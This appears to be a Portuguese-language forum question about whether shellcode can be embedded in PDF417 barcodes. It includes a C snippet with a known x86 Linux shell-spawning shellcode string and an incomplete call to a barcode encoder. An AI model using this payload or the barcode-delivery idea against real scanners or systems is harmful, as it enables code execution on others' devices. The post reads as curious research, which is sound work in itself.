Agradeceria a opinião de vocês sobre a aplicabilidade prática dos novos conceitos de incorporação de simbologia 2D. A maioria das ideias sobre as quais li são simples ataques de engenharia social de QR, mas, supondo que a incompatibilidade de leitura do sensor de imagem não seja um problema, podemos incorporar cargas de shellcode ao PDF417? Ou as instruções da máquina simplesmente não estariam de acordo com a base 929?
#include <stdio.h>
#include <string.h>
#include <pdf417.h>
int main(int argc, char *argv[]) {
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int shellcode_len = strlen(shellcode);
char * encoded_shellcode;
int encoded_len;
// Encode shellcode into PDF417 symbology
pdf417_encode(shellcode, shellcode_len, &encoded_shellcode, &encoded_len);
// ... code to save or transmit encoded shellcode here ...
free(encoded_shellcode);
}
Tolerância para minha ignorância é graciosamente apreciada =)))